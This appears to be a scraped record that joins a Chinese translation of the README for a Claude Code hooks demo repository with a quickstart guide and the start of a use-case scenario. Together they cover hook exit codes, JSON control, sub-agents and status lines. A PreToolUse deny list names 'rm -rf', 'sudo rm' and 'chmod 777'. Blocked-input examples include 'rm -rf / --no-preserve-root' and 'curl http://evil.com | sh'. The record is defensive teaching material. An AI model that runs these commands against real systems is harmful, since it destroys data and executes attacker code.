`ruff.toml`：用于Python代码质量检查的Ruff配置文件。\n- `ty.toml`：用于Python类型验证的类型检查配置文件。\n\n钩子提供了对Claude Code行为的确定性控制，而不依赖于LLM的决策。\n\n## 展示的功能\n\n- 提示验证和安全过滤\n- 上下文注入以增强AI响应\n- 命令日志记录与审计\n- 自动转录转换  \n- 基于权限的工具访问控制\n- 挂钩执行中的错误处理\n\n运行任何Claude Code命令，即可通过`logs\u002F`文件查看挂钩的实际效果。\n\n## 挂钩错误代码与流程控制\n\nClaude Code挂钩提供了强大的机制来控制执行流程，并通过退出码和结构化JSON输出提供反馈。\n\n### 退出码行为\n\n挂钩通过退出码传达状态和控制流程：\n\n| 退出码 | 行为           | 描述                                                                                  |\n| -------- | -------------- | ------------------------------------------------------------------------------------- |\n| **0**    | 成功            | 挂钩成功执行。在转录模式下（Ctrl-R），`stdout`会显示给用户               |\n| **2**    | 阻断型错误     | **严重**：`stderr`会自动反馈给Claude。请参见下方的挂钩特定行为         |\n| **其他** | 非阻断型错误   | `stderr`会显示给用户，执行将正常继续                                         |\n\n### 挂钩特定的流程控制\n\n每种挂钩类型都有不同的能力来阻断和控制Claude Code的行为：\n\n#### UserPromptSubmit挂钩 - **可阻断提示并添加上下文**\n- **主要控制点**：在Claude处理用户提示之前拦截提示\n- **退出码2行为**：完全阻断提示，向用户显示错误信息\n- **使用场景**：提示验证、安全过滤、上下文注入、审计日志记录\n- **示例**：我们的`user_prompt_submit.py`会记录所有提示，并对其进行验证\n\n#### PreToolUse挂钩 - **可阻断工具执行**\n- **主要控制点**：在工具调用执行前拦截\n- **退出码2行为**：完全阻断工具调用，向Claude显示错误信息\n- **使用场景**：安全验证、参数检查、防止危险命令\n- **示例**：我们的`pre_tool_use.py`会用退出码2阻止`rm -rf`命令。\n\n```python\n# 阻止危险命令\nif is_dangerous_rm_command(command):\n    print(\"已阻止：检测到危险的rm命令\", file=sys.stderr)\n    sys.exit(2)  # 阻断工具调用，向Claude显示错误\n```\n\n#### PostToolUse挂钩 - **无法阻断（工具已执行）**\n- **主要控制点**：在工具完成执行后提供反馈\n- **退出码2行为**：向Claude显示错误（工具已经运行，无法撤销）\n- **使用场景**：结果验证、格式化、清理、日志记录\n- **局限性**：由于是在工具完成后触发，因此无法阻止工具执行。\n\n#### Notification挂钩 - **无法阻断**\n- **主要控制点**：处理Claude Code的通知\n- **退出码2行为**：不适用——仅向用户显示stderr，无阻断功能\n- **使用场景**：自定义通知、日志记录、用户提醒\n- **局限性**：无法控制Claude Code的行为，纯粹是信息性的。\n\n#### Stop挂钩 - **可阻断停止操作**\n- **主要控制点**：当Claude Code尝试结束响应时拦截\n- **退出码2行为**：阻断停止操作，向Claude显示错误（强制继续）\n- **使用场景**：确保任务完成、验证最终状态；可用此方法强制继续\n- **注意事项**：若控制不当，可能导致无限循环。\n\n#### SubagentStop挂钩 - **可阻断子代理停止**\n- **主要控制点**：当Claude Code的子代理试图结束时拦截\n- **退出码2行为**：阻断子代理停止，向子代理显示错误\n- **使用场景**：确保子代理任务正确完成\n- **示例**：我们的`subagent_stop.py`会记录事件并宣布完成。\n\n#### PreCompact挂钩 - **无法阻断**\n- **主要控制点**：在压缩操作之前触发\n- **退出码2行为**：不适用——仅向用户显示stderr，无阻断功能\n- **使用场景**：转录备份、上下文保存、压缩前的日志记录\n- **示例**：我们的`pre_compact.py`会在压缩前创建转录备份。\n\n#### SessionStart挂钩 - **无法阻断**\n- **主要控制点**：在新会话开始或恢复时触发\n- **退出码2行为**：不适用——仅向用户显示stderr，无阻断功能\n- **使用场景**：加载开发环境、会话初始化、环境设置\n- **示例**：我们的`session_start.py`会加载git状态、最近的问题以及上下文文件。\n\n### 高级JSON输出控制\n\n除了简单的退出码外，挂钩还可以返回结构化JSON以实现更复杂的控制：\n\n#### 常见JSON字段（所有挂钩类型）\n```json\n{\n  \"continue\": true,           \u002F\u002F Claude是否应继续（默认：true）\n  \"stopReason\": \"string\",     \u002F\u002F 当continue=false时显示给用户的提示信息\n  \"suppressOutput\": true      \u002F\u002F 隐藏stdout以免显示在转录中（默认：false）\n}\n```\n\n#### PreToolUse决策控制\n```json\n{\n  \"decision\": \"approve\" | \"block\" | undefined,\n  \"reason\": \"决策原因\"\n}\n```\n\n- **\"approve\"**：绕过权限系统，`reason`会显示给用户\n- **\"block\"**：阻止工具执行，`reason`会显示给Claude\n- **undefined**：按正常权限流程处理，忽略`reason`\n\n#### PostToolUse决策控制\n```json\n{\n  \"decision\": \"block\" | undefined,\n  \"reason\": \"决策原因\"\n}\n```\n\n- **\"block\"**：会自动提示Claude显示`reason`\n- **undefined**：不做任何处理，忽略`reason`\n\n#### Stop决策控制\n```json\n{\n  \"decision\": \"block\" | undefined,\n  \"reason\": \"必须在阻止Claude停止时提供\"\n}\n```\n\n- **\"block\"**：阻止Claude停止，`reason`会告诉Claude如何继续\n- **undefined**：允许正常停止，忽略`reason`\n\n### 流程控制优先级\n\n当同时使用多种控制机制时，其优先级如下：\n\n1. **`\"continue\": false`** - 优先于所有其他控制\n2. **`\"decision\": \"block\"`** - 挂钩特定的阻断行为\n3. **退出码2** - 通过stderr进行简单阻断\n4. **其他退出码** - 非阻断型错误\n\n### 安全实施示例\n\n#### 1. 命令验证（PreToolUse）\n```python\n# 阻止危险模式\ndangerous_patterns = [\n    r'rm\\s+.*-[rf]',           # rm -rf变体\n    r'sudo\\s+rm',              # sudo rm命令\n    r'chmod\\s+777',            # 危险权限\n    r'>\\s*\u002Fetc\u002F',              # 写入系统目录\n]\n\nfor pattern in dangerous_patterns:\n    if re.search(pattern, command, re.IGNORECASE):\n        print(f\"已阻止：检测到{pattern}\", file=sys.stderr)\n        sys.exit(2)\n```\n\n#### 2. 结果验证（PostToolUse）\n```python\n\n# 验证文件操作\nif tool_name == \"Write\" and not tool_response.get(\"success\"):\n    output = {\n        \"decision\": \"block\",\n        \"reason\": \"文件写入操作失败，请检查权限后重试\"\n    }\n    print(json.dumps(output))\n    sys.exit(0)\n```\n\n#### 3. 完成验证（停止钩子）\n```python\n# 确保关键任务已完成\nif not all_tests_passed():\n    output = {\n        \"decision\": \"block\",\n        \"reason\": \"测试未通过。请先修复失败的测试再完成。\"\n    }\n    print(json.dumps(output))\n    sys.exit(0)\n```\n\n### 钩子执行环境\n\n- **超时时间**：每个钩子的执行限制为60秒\n- **并行化**：所有匹配的钩子会并行运行\n- **环境**：继承 Claude Code 的环境变量\n- **工作目录**：在当前项目目录下运行\n- **输入**：通过标准输入传递包含会话和工具数据的 JSON\n- **输出**：通过标准输出\u002F标准错误处理，并使用退出码\n\n## UserPromptSubmit 钩子深度解析\n\nUserPromptSubmit 钩子是 Claude Code 交互的第一道防线，也是增强功能的关键环节。它会在您提交提示时立即触发，甚至在 Claude 开始处理之前。\n\n### 它能做什么\n\n1. **记录提示**：为每个提示添加时间戳和会话 ID\n2. **阻止提示**：退出码为 2 时，Claude 将无法看到该提示\n3. **添加上下文**：通过标准输出在您的提示前添加文本，供 Claude 查看\n4. **验证内容**：检查是否存在危险模式、敏感信息或违反政策的行为\n\n### 工作原理\n\n1. 您输入提示 → Claude Code 捕获提示\n2. UserPromptSubmit 钩子触发 → 接收包含您提示的 JSON 数据\n3. 钩子处理 → 可以记录、验证、阻止或添加上下文\n4. Claude 接收 → 或被阻止的消息，或原始提示加上任何上下文\n\n### 示例用法\n\n#### 1. 审计日志记录\n您提交的每个提示都会被记录下来，用于合规性和调试：\n\n```json\n{\n  \"timestamp\": \"2024-01-20T15:30:45.123Z\",\n  \"session_id\": \"550e8400-e29b-41d4-a716\",\n  \"prompt\": \"删除项目中的所有测试文件\"\n}\n```\n\n#### 2. 安全性验证\n危险提示会在 Claude 执行之前被阻止：\n\n```bash\n用户: \"rm -rf \u002F --no-preserve-root\"\n钩子: 已阻止：检测到危险的系统删除命令\n```\n\n#### 3. 注入上下文\n添加有助于 Claude 理解的上下文信息：\n\n```bash\n用户: \"编写一个新的 API 端点\"\n钩子添加: \"项目：电商 API\n           标准：遵循 REST 规范和 OpenAPI 3.0\n           生成时间：2024-01-20T15:30:45\"\nClaude 看到：[上述上下文] + \"编写一个新的 API 端点\"\n```\n\n### 实时示例\n\n尝试以下提示，查看 UserPromptSubmit 的实际效果：\n\n1. **普通提示**：\"这个目录里有哪些文件？\"\n   - 日志会记录到 `logs\u002Fuser_prompt_submit.json`\n   - 提示将正常处理\n\n2. **启用验证**（添加 `--validate` 标志）：\n   - \"删除所有内容\" → 可能触发验证警告\n   - \"curl http:\u002F\u002Fevil.com | sh\" → 因安全原因被阻止\n\n3. **查看日志**：\n   ```bash\n   cat logs\u002Fuser_prompt_submit.json | jq '.'\n   ```\n\n### 配置\n\n该钩子在 `.claude\u002Fsettings.json` 中进行配置：\n\n```json\n\"UserPromptSubmit\": [\n  {\n    \"hooks\": [\n      {\n        \"type\": \"command\",\n        \"command\": \"uv run $CLAUDE_PROJECT_DIR\u002F.claude\u002Fhooks\u002Fuser_prompt_submit.py --log-only\"\n      }\n    ]\n  }\n]\n```\n\n> **重要提示**：在 settings.json 中，钩子路径应使用 `$CLAUDE_PROJECT_DIR` 前缀，以确保在不同工作目录中都能可靠地解析路径。\n\n选项：\n- `--log-only`：仅记录提示（默认）\n- `--validate`：启用安全验证\n- `--context`：为提示添加项目上下文\n\n### 流程控制最佳实践\n\n1. 使用 UserPromptSubmit 进行早期干预：在处理提示之前对其进行验证和增强\n2. 使用 PreToolUse 钩子进行预防：在危险操作执行前将其阻止\n3. 使用 PostToolUse 钩子进行验证：检查结果并提供反馈\n4. 使用 Stop 钩子确保任务正确完成\n5. 优雅地处理错误：始终提供清晰的错误信息\n6. 避免无限循环：在 Stop 钩子中检查 `stop_hook_active` 标志\n7. 全面测试：在安全环境中验证钩子是否正常工作\n\n## Claude Code 子代理\n\n> 请观看 [此 YouTube 视频](https:\u002F\u002Fyoutu.be\u002F7B2HJr0Y68g)，了解如何有效创建和使用 Claude Code 子代理。\n>\n> 更多详细信息请参阅 [Claude Code 子代理文档](https:\u002F\u002Fdocs.anthropic.com\u002Fen\u002Fdocs\u002Fclaude-code\u002Fsub-agents)。\n\n\u003Cimg src=\"https:\u002F\u002Foss.gittoolsai.com\u002Fimages\u002Fdisler_claude-code-hooks-mastery_readme_7f654f600cf7.png\" alt=\"Claude Code 子代理\" style=\"max-width: 800px; width: 100%;\" \u002F>\n\nClaude Code 支持专门的子代理，这些子代理可以使用自定义系统提示、工具和独立的上下文窗口来处理特定任务。子代理是 AI 助手，您的主要 Claude Code 代理可以将任务委托给它们。\n\n### 理解子代理：系统提示，而非用户提示\n\n**关键概念**：代理文件（`.claude\u002Fagents\u002F*.md`）中的内容是**系统提示**，用于配置子代理的行为。它们**不是用户提示**。这是创建代理时最常见的误解。\n\n**信息流**：\n```\n您（用户）→ 主代理 → 子代理 → 主代理 → 您（用户）\n```\n\n\u003Cimg src=\"https:\u002F\u002Foss.gittoolsai.com\u002Fimages\u002Fdisler_claude-code-hooks-mastery_readme_8ceb8fa80b2f.gif\" alt=\"子代理信息流\" style=\"max-width: 800px; width: 100%;\" \u002F>\n\n1. **您**向 Claude Code（主代理）提出请求\n2. **主代理**分析您的请求，并将其委派给合适的子代理\n3. **子代理**根据其系统提示指令执行任务\n4. **子代理**将结果报告回主代理\n5. **主代理**综合结果并呈现给您\n\n**要点**：\n- 子代理绝不会直接与您交流\n- 子代理从零开始，没有对话历史\n- 子代理响应的是主代理的提示，而不是您的提示\n- `description` 字段告诉主代理何时使用子代理\n\n### 代理存储与组织\n\n此仓库展示了多种代理配置：\n\n**项目代理**（`.claude\u002Fagents\u002F`）：\n```\n.claude\u002Fagents\u002F\n├── crypto\u002F                    # 加密货币分析代理\n│   ├── crypto-coin-analyzer-haiku.md\n│   ├── crypto-coin-analyzer-opus.md\n│   ├── crypto-coin-analyzer-sonnet.md\n│   ├── crypto-investment-plays-*.md\n│   ├── crypto-market-agent-*.md\n│   ├── crypto-movers-haiku.md\n│   └── macro-crypto-correlation-scanner-*.md\n├── hello-world-agent.md       # 简单的问候代理\n├── llm-ai-agents-and-eng-research.md  # AI研究专家\n├── meta-agent.md              # 创建其他代理的代理\n└── work-completion-summary.md # 音频摘要生成器\n```\n\n**存储层级**：\n- **项目代理**：`.claude\u002Fagents\u002F`（优先级较高，特定于项目）\n- **用户代理**：`~\u002F.claude\u002Fagents\u002F`（优先级较低，可在所有项目中使用）\n- **格式**：带有 YAML 前言的 Markdown 文件\n\n**代理文件结构**：\n```yaml\n---\nname: 代理名称\ndescription: 何时使用该代理（对自动委派至关重要）\ntools: 工具1, 工具2, 工具3  # 可选 - 如果省略则继承所有工具\ncolor: 青色  # 终端中的视觉标识\nmodel: opus # 可选 - haiku | sonnet | opus - 默认为 sonnet\n---\n\n# 目的\n你是一个[角色定义]。\n\n## 指令\n1. 分步指令\n2. 代理应执行的操作\n3. 如何报告结果\n\n## 报告\u002F响应格式\n指定代理应如何将结果反馈给主代理。\n```\n\n子代理能够实现：\n- **任务专业化** - 代码审查员、调试器、测试运行者\n- **上下文保留** - 每个代理独立运作\n- **工具限制** - 仅授予必要的权限\n- **自动委派** - Claude 主动使用合适的代理\n\n### 关键工程洞察\n\n**需要避免的两个关键错误：**\n\n1. **误解系统提示** - 你在代理文件中编写的实际上是*系统提示*，而非用户提示。这会改变你组织指令的方式以及代理可用的信息。\n\n2. **忽视信息流** - 子代理是响应你的主代理，而不是直接回应你。主代理根据你的原始请求提示子代理，而子代理则将结果汇报给主代理，最终由主代理反馈给你。\n\n**最佳实践：**\n- 使用 `description` 字段告知主代理*何时*以及*如何*提示子代理\n- 在描述中加入“主动使用”等短语或触发词（如“如果他们说 TTS”）\n- 记住子代理每次都是从零开始，没有上下文——务必明确说明它们需要知道的内容\n- 构建代理时遵循问题 → 解决方案 → 技术的方法\n\n### 复杂工作流与代理链式调用\n\nClaude Code 能够智能地将多个子代理串联起来以完成复杂任务：\n\n\u003Cimg src=\"https:\u002F\u002Foss.gittoolsai.com\u002Fimages\u002Fdisler_claude-code-hooks-mastery_readme_3b253f7f6bf1.gif\" alt=\"子代理链式调用\" style=\"max-width: 800px; width: 100%;\" \u002F>\n\n例如：\n- “首先用 crypto-market-agent 分析市场，再利用 crypto-investment-plays 寻找机会”\n- “先用调试器代理修复错误，再让代码审查员检查修改内容”\n- “用 meta-agent 生成一个新的代理，然后在特定任务上进行测试”\n\n这种链式调用允许你构建复杂的流程，同时保持清晰的关注点分离。\n\n### 元代理\n\n元代理（`.claude\u002Fagents\u002Fmeta-agent.md`）是一种特殊的子代理，它可以根据描述生成新的子代理。它是“建造代理的代理”，对于提升代理开发速度至关重要。\n\n**元代理的重要性：**\n- **快速创建代理** - 可在几分钟内构建数十个专业代理，而无需耗费数小时\n- **结构一致** - 确保所有代理遵循最佳实践和正确格式\n- **实时文档更新** - 自动提取最新的 Claude Code 文档，以保持功能的最新状态\n- **智能工具选择** - 自动确定最小化的工具需求\n\n**使用元代理：**\n```bash\n# 简单描述你的需求\n“构建一个能运行测试并修复故障的新子代理”\n\n# Claude Code 会自动委派给元代理\n# 它将创建一个格式正确的代理文件\n```\n\n元代理遵循的原则是：“思考如何将其规模化。打造那个能制造东西的东西。” 这种叠加效应可使你的工程能力呈指数级增长。\n\n## 团队验证系统\n\n> **观看演示视频**：在 [https:\u002F\u002Fyoutu.be\u002F4_2j5wgt_ds](https:\u002F\u002Fyoutu.be\u002F4_2j5wgt_ds) 中查看代理团队及 `\u002Fplan_w_team` 工作流的实际应用\n\n\u003Cimg src=\"https:\u002F\u002Foss.gittoolsai.com\u002Fimages\u002Fdisler_claude-code-hooks-mastery_readme_d08cce22dc97.png\" alt=\"Claude Code 任务系统\" style=\"max-width: 800px; width: 100%;\" \u002F>\n\n此仓库包含一个强大的构建\u002F验证工作流模式，利用 Claude Code 任务系统来协调专业的代理团队。\n\n### `\u002Fplan_w_team` 元提示\n\n`\u002Fplan_w_team` 命令（`.claude\u002Fcommands\u002Fplan_w_team.md`）并非普通的提示——它具有三个强大功能：\n\n#### 1. 自我验证\n\n该提示在其前言中嵌入了验证自身输出的钩子：\n\n```yaml\nhooks:\n  stop:\n    - command: \"uv run $CLAUDE_PROJECT_DIR\u002F.claude\u002Fhooks\u002Fvalidators\u002Fvalidate_new_file.py specs\u002F*.md\"\n    - command: \"uv run $CLAUDE_PROJECT_DIR\u002F.claude\u002Fhooks\u002Fvalidators\u002Fvalidate_file_contains.py\"\n```\n\n规划代理完成后，这些验证器会确保：\n- 规格文件被创建在正确的目录中\n- 文件包含必要部分（团队协调、分步任务等）\n\n若验证失败，代理会收到反馈并继续工作，直到输出符合标准。\n\n#### 2. 代理协调\n\n该提示利用 Claude Code 的任务系统来构建和协调代理团队：\n\n| 任务工具    | 目的                                                  |\n| ------------ | -------------------------------------------------------- |\n| `TaskCreate` | 创建新任务，指定负责人、描述和依赖关系                 |\n| `TaskUpdate` | 更新状态、添加阻碍因素、通报完成情况                   |\n| `TaskList`   | 查看所有任务及其当前状态                               |\n| `TaskGet`    | 获取完整任务详情                                       |\n\n**工作原理：**\n1. 主代理创建一个包含具体负责人的任务列表\n2. 任务可以并行执行，也可以设置依赖性阻碍\n3. 子代理完成工作后向主代理反馈\n4. 主代理根据工作的完成情况实时作出反应\n5. 当依赖的任务完成后，阻碍会自动解除\n\n这种方式支持更长时间的工作流程，因为任务系统负责协调——无需使用 bash 的 sleep 循环。\n\n#### 3. 模板化\n\n`\u002Fplan_w_team` 是一种**模板元提示**——即按照特定且经过验证的格式生成提示的提示：\n\n```markdown\n## 计划格式（嵌入在元提示中）\n\n### {{PLAN_NAME}}\n**任务：** {{TASK_DESCRIPTION}}\n**目标：** {{OBJECTIVE}}\n\n### 团队协调\n{{TEAM_MEMBERS}}\n\n### 分步任务\n{{TASKS}}\n```\n\n生成的计划完全遵循你的工程模式。这正是代理式工程与“凭感觉编码”的区别——因为你已经模板化了格式，所以你能准确预测代理会生成的结果。\n\n### 团队代理\n\n| 代理         | 文件                | 工具                     | 自我验证        | 目的                                         |\n| ------------- | ------------------- | ------------------------- | ---------------------- | ----------------------------------------------- |\n| **构建者**   | `team\u002Fbuilder.md`   | 所有工具                 | Ruff + Ty 检查 .py 文件 | 执行实现任务，构建项目   |\n| **验证者**   | `team\u002Fvalidator.md` | 只读（无写入\u002F编辑权限） | 无                   | 验证构建者的成果是否符合验收标准 |\n\n这种双代理协作模式通过增加计算资源来提升对工作正确完成的信任度。\n\n### 代码质量验证器\n\nPostToolUse 验证器会自动强制执行代码质量检查：\n\n| 验证器 | 文件                | 触发条件                 | 行动                |\n| ------- | ------------------- | ----------------------- | --------------------- |\n| **Ruff**  | `ruff_validator.py` | 对 .py 文件进行写入或编辑 | 阻止包含 lint 错误的代码 |\n| **Ty**    | `ty_validator.py`   | 对 .py 文件进行写入或编辑 | 阻止包含类型错误的代码 |\n\n### 工作流示例\n\n```bash\n# 1. 使用团队编排创建计划\n\u002Fplan_w_team\n\n# 用户提示：“更新钩子文档并添加缺失的状态行”\n# 编排提示：“为每个钩子创建一组代理，包括一名构建者和一名验证者”\n\n# 2. 生成的计划包含：\n#    - 团队成员（session_end_builder、session_end_validator 等）\n#    - 带有依赖关系的分步任务\n#    - 验证命令\n\n# 3. 执行计划\n\u002Fbuild\n\n# 4. 观察代理并行工作：\n#    - 构建者实现功能\n#    - 验证者验证完成情况\n#    - 任务系统协调所有流程\n```\n\n### 配置\n\n- `ruff.toml` - Ruff 静态分析规则\n- `ty.toml` - 类型检查器设置\n- `.claude\u002Fagents\u002Fteam\u002F` - 团队代理定义\n\n## 输出样式集\n\n> **观看演示：** 在 [https:\u002F\u002Fyoutu.be\u002FmJhsWrEv-Go](https:\u002F\u002Fyoutu.be\u002FmJhsWrEv-Go) 查看这些功能的实际效果\n\n\u003Cimg src=\"https:\u002F\u002Foss.gittoolsai.com\u002Fimages\u002Fdisler_claude-code-hooks-mastery_readme_ac208d4e6f78.png\" alt=\"GenUI 输出样式\" style=\"max-width: 800px; width: 100%;\" \u002F>\n\n该项目包含一套全面的自定义输出样式（`.claude\u002Foutput-styles\u002F`），能够改变 Claude Code 的响应呈现方式。完整的输出样式工作原理请参阅[官方文档](https:\u002F\u002Fdocs.anthropic.com\u002Fen\u002Fdocs\u002Fclaude-code\u002Foutput-styles)。\n\n| 样式                | 描述                                        | 最适合场景                                                |\n| -------------------- | -------------------------------------------------- | ------------------------------------------------------- |\n| **genui** ⭐          | **生成带有内嵌样式的精美 HTML** | **交互式可视化输出，即时浏览器预览** |\n| **表格化**      | 将所有信息组织成 Markdown 表格       | 比较、结构化数据、状态报告            |\n| **YAML 结构化**  | 将响应格式化为 YAML 配置            | 设置、层级数据、API 响应              |\n| **项目符号列表**    | 清晰的嵌套列表，使用破折号和数字     | 行动项、文档、任务跟踪                |\n| **超简洁**    | 极简文字，极致速度                       | 经验丰富的开发者、快速原型开发                     |\n| **HTML 结构化**  | 带有数据属性的语义化 HTML5                | Web 文档、丰富格式                    |\n| **Markdown 导向** | 充分利用 Markdown 的所有特性          | 复杂文档、混合内容                    |\n| **TTS 总结**      | 通过 ElevenLabs TTS 宣布任务完成       | 音频反馈、辅助功能                    |\n\n**使用方法：** 运行 `\u002Foutput-style [名称]` 来激活任意样式（例如 `\u002Foutput-style table-based`）\n\n**位置：** \n- 项目样式：`.claude\u002Foutput-styles\u002F*.md`（本仓库）\n- 用户样式：`~\u002F.claude\u002Foutput-styles\u002F*.md`（全局）\n\n输出样式会修改 Claude 的系统提示词，从而改变响应格式，而不会影响其核心功能。每种样式都是一个 Markdown 文件，文件头部使用 YAML 定义了名称、描述和格式化指令。\n\n\n## 自定义状态行\n\n> **观看演示：** 在 [https:\u002F\u002Fyoutu.be\u002FmJhsWrEv-Go](https:\u002F\u002Fyoutu.be\u002FmJhsWrEv-Go) 查看这些功能的实际效果\n\n本项目引入了增强版的 Claude Code 状态行，可在对话过程中实时显示上下文信息。状态行会在 Claude Code 会话期间显示在终端底部，提供动态信息。完整详情请参阅[官方文档](https:\u002F\u002Fdocs.anthropic.com\u002Fen\u002Fdocs\u002Fclaude-code\u002Fstatusline)。\n\n### 可用状态行\n\n**位置：** `.claude\u002Fstatus_lines\u002F`\n\n| 版本 | 文件                | 描述       | 功能                                                        |\n| ------- | ------------------- | ----------------- | --------------------------------------------------------------- |\n| **v1**  | `status_line.py`    | 基础 MVP         | Git 分支、当前目录、模型信息                               |\n| **v2**  | `status_line_v2.py` | 智能提示     | 最新提示（250 字），按任务类型着色                           |\n| **v3**  | `status_line_v3.py` | 代理会话    | 代理名称、模型、最近三条提示                                 |\n| **v4**  | `status_line_v4.py` | 扩展元数据 | 代理名称、模型、最新提示、自定义键值对                        |\n| **v5**  | `status_line_v5.py` | 成本追踪     | 模型、成本（美元）、行数变化（+\u002F-）、会话时长               |\n| **v6**  | `status_line_v6.py` | 上下文窗口    | 可视化使用条形图、百分比、剩余 token 数量                      |\n| **v7**  | `status_line_v7.py` | 持续时间计时器 | 会话时间、开始时间、可选结束时间                             |\n| **v8**  | `status_line_v8.py` | Token\u002F缓存统计 | 输入\u002F输出 token 数量、缓存创建\u002F读取统计数据                  |\n| **v9**  | `status_line_v9.py` | Powerline 极简 | 使用 Powerline 分隔符的风格化段落，显示 Git 分支及已使用比例 |\n\n### 会话管理\n\n状态行利用存储在 `.claude\u002Fdata\u002Fsessions\u002F\u003Csession_id>.json` 中的会话数据：\n\n```json\n{\n  \"session_id\": \"unique-session-id\",\n  \"prompts\": [\"第一条提示\", \"第二条提示\", ...],\n  \"agent_name\": \"Phoenix\",  \u002F\u002F 自动生成的唯一名称\n  \"extras\": {              \u002F\u002F v4：自定义元数据（可选）\n    \"project\": \"myapp\",\n    \"status\": \"debugging\",\n    \"environment\": \"prod\"\n  }\n}\n```\n\n**代理命名：**\n- 使用 LLM 服务自动生成唯一的代理名称\n- 优先级：Ollama（本地）→ Anthropic → OpenAI → 备用名称\n- 名称均为单字、易于记忆的标识符（例如：Phoenix、Sage、Nova）\n- 通过 `user_prompt_submit.py` 中的 `--name-agent` 标志启用\n\n**自定义元数据（v4）：**\n- 使用 `\u002Fupdate_status_line` 命令添加自定义键值对\n- 在状态行末尾以青色方括号显示\n- 在 Claude Code 的交互中持久保存\n- 示例：`\u002Fupdate_status_line \u003Csession_id> project myapp`\n\n### 配置\n\n在 `.claude\u002Fsettings.json` 中设置您偏好的状态行：\n\n```json\n{\n  \"statusLine\": {\n    \"type\": \"command\",\n    \"command\": \"uv run $CLAUDE_PROJECT_DIR\u002F.claude\u002Fstatus_lines\u002Fstatus_line_v3.py\"\n  }\n}\n```\n\n**状态行功能：**\n- **实时更新** - 在消息变化时刷新（300 毫秒限流）\n- **颜色编码** - 不同任务类型的视觉指示\n- **智能截断** - 巧妙处理长提示\n- **会话持久性** - 在多次交互中保持上下文\n\n**任务类型指示器（v2\u002Fv3）：**\n- 🔍 紫色 - 分析\u002F搜索任务\n- 💡 绿色 - 创作\u002F实现任务\n- 🔧 黄色 - 修复\u002F调试任务\n- 🗑️ 红色 - 删除任务\n- ❓ 蓝色 - 问题\n- 💬 默认 - 一般对话\n\n\n\n## 主导式代理编码\n\n> 为软件工程的未来做好准备\n\n学习战术型代理编码模式，请访问 [Tactical Agentic Coding](https:\u002F\u002Fagenticengineer.com\u002Ftactical-agentic-coding?y=ssvhooks)\n\n关注 [IndyDevDan YouTube 频道](https:\u002F\u002Fwww.youtube.com\u002F@indydevdan)，提升您的代理编码优势。","# Claude Code Hooks Mastery 快速上手指南\n\n本指南帮助开发者快速掌握如何使用 **Claude Code Hooks** 对 Claude Code 的行为进行确定性控制，并了解子代理（Sub-Agents）、元代理（Meta-Agent）及基于团队的验证系统。\n\n## 环境准备\n\n在开始之前，请确保您的系统满足以下要求：\n\n### 核心依赖\n- **[Astral UV](https:\u002F\u002Fdocs.astral.sh\u002Fuv\u002Fgetting-started\u002Finstallation\u002F)**：高性能 Python 包安装器与解析器（本项目架构核心）。\n- **[Claude Code](https:\u002F\u002Fdocs.anthropic.com\u002Fen\u002Fdocs\u002Fclaude-code)**：Anthropic 官方 CLI 工具。\n\n### 可选增强依赖（按需配置）\n如需体验语音反馈（TTS）或高级网络功能，可配置以下服务：\n- **ElevenLabs** 或 **OpenAI**：用于文本转语音（TTS）及大模型支持。\n- **Ollama**：本地大模型运行方案。\n- **Firecrawl MCP Server**：网页抓取与爬虫服务。\n- **ElevenLabs MCP Server**：ElevenLabs 的 MCP 集成。\n\n> **提示**：国内用户若访问官方源较慢，建议配置国内镜像源安装 `uv` 或使用代理加速连接 Anthropic 服务。\n\n## 安装步骤\n\n本项目采用 **UV 单文件脚本架构**，无需创建复杂的虚拟环境，钩子逻辑独立且自包含。\n\n### 1. 安装 UV\n如果您尚未安装 UV，请使用以下命令（支持 Linux\u002FmacOS\u002FWindows）：\n\n```bash\ncurl -LsSf https:\u002F\u002Fastral.sh\u002Fuv\u002Finstall.sh | sh\n# 或者使用 pip 安装\npip install uv\n```\n\n### 2. 获取项目代码\n克隆仓库或下载源码到本地：\n\n```bash\ngit clone \u003Crepository-url> claude-code-hooks-mastery\ncd claude-code-hooks-mastery\n```\n\n### 3. 配置 Hook 目录\n确保项目根目录下存在 `.claude` 文件夹。核心的钩子脚本位于 `.claude\u002Fhooks\u002F` 目录中。每个脚本（如 `user_prompt_submit.py`）都通过顶部的注释声明了其依赖，UV 会在运行时自动处理。\n\n检查关键配置文件：\n- `.claude\u002Fsettings.json`：包含钩子的权限配置。\n- `.claude\u002Fhooks\u002F`：存放所有生命周期钩子的 Python 脚本。\n\n## 基本使用\n\n安装完成后，只需在终端启动 `claude` 命令，钩子系统会自动拦截并处理相应事件。\n\n### 启动 Claude Code\n在项目根目录下运行：\n\n```bash\nclaude\n```\n\n### 核心功能演示\n\n一旦启动，以下功能将自动生效：\n\n1.  **提示词预处理 (`UserPromptSubmit`)**\n    当您输入指令时，系统会先进行验证、日志记录及上下文注入，然后才发送给 Claude。\n    *示例*：输入任意代码生成请求，观察 `logs\u002Fuser_prompt_submit.json` 中的拦截记录。\n\n2.  **安全拦截 (`PreToolUse`)**\n    尝试执行危险命令（如 `rm -rf` 或读取 `.env`），钩子将自动阻断并记录警告。\n\n3.  **智能语音反馈 (TTS)**\n    当任务完成或需要用户输入时，系统会根据优先级（ElevenLabs > OpenAI > 本地）播放语音提示。\n    *触发方式*：正常对话结束或工具执行完毕。\n\n4.  **查看日志**\n    所有钩子事件均以 JSON 格式记录在 `logs\u002F` 目录：\n    ```bash\n    ls logs\u002F\n    # 查看最近的提示词提交日志\n    cat logs\u002Fuser_prompt_submit.json\n    ```\n\n### 自定义状态行（可选）\n项目提供了多种终端状态显示脚本（`.claude\u002Fstatus_lines\u002F`），您可以根据需要替换默认状态行，以显示 Git 信息、Token 用量或会话时长。\n\n---\n**注意**：`chat.json` 文件仅保留最近一次会话内容，每次新对话会覆盖旧内容；而 `logs\u002F` 目录下的日志会持续追加保存。","某后端开发团队在利用 Claude Code 自动化重构遗留代码库时，面临 AI 随意执行高风险命令及多代理协作混乱的挑战。\n\n### 没有 claude-code-hooks-mastery 时\n- **高危操作无拦截**：Claude 在执行 `rm -rf` 或修改核心配置文件前缺乏强制审查机制，极易误删生产数据。\n- **调试过程黑盒化**：当子代理（Sub-Agents）任务失败时，开发者无法捕获具体的生命周期事件和载荷，难以定位是权限拒绝还是逻辑错误。\n- **协作流程不可控**：多个代理并行工作时缺乏统一的“元代理”协调，导致任务重复执行或验证标准不一致。\n- **上下文注入困难**：无法在用户提交提示词的瞬间自动注入安全策略或项目规范，每次都需要人工重复强调约束条件。\n\n### 使用 claude-code-hooks-mastery 后\n- **确定性流控防御**：通过 `PreToolUse` 